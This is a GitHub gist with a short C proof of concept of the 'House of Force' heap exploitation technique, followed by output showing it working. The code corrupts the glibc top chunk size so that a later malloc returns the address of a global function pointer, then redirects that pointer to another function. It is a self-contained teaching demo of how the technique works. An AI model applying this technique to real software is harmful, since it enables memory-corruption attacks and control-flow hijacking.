Skip to content

Instantly share code, notes, and snippets.

@inaz2
Created October 13, 2016 04:35
Show Gist options
  • Save inaz2/6c7b74b6ce9b248381538b5d0ef46383 to your computer and use it in GitHub Desktop.
Save inaz2/6c7b74b6ce9b248381538b5d0ef46383 to your computer and use it in GitHub Desktop.
$ gcc house_of_force.c -o house_of_force
house_of_force.c: In function ‘main’:
house_of_force.c:14:25: warning: assignment makes pointer from integer without a cast [enabled by default]
*(void **)(p1+0x48) = -1;
^
$ ./house_of_force
&p = 0x601050
p3 = 0x601050
jackpot!
#include <stdio.h>
#include <stdlib.h>
void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }
void (*p)() = leave;
int main()
{
printf("&p = %p\n", &p);
char *p1 = malloc(0x40);
*(void **)(p1+0x48) = -1;
unsigned long newsize = (void *)&p-0x10-(void *)(p1+0x48);
char *p2 = malloc(newsize);
char *p3 = malloc(0x80);
printf("p3 = %p\n", p3);
*(void **)p3 = jackpot;
p();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment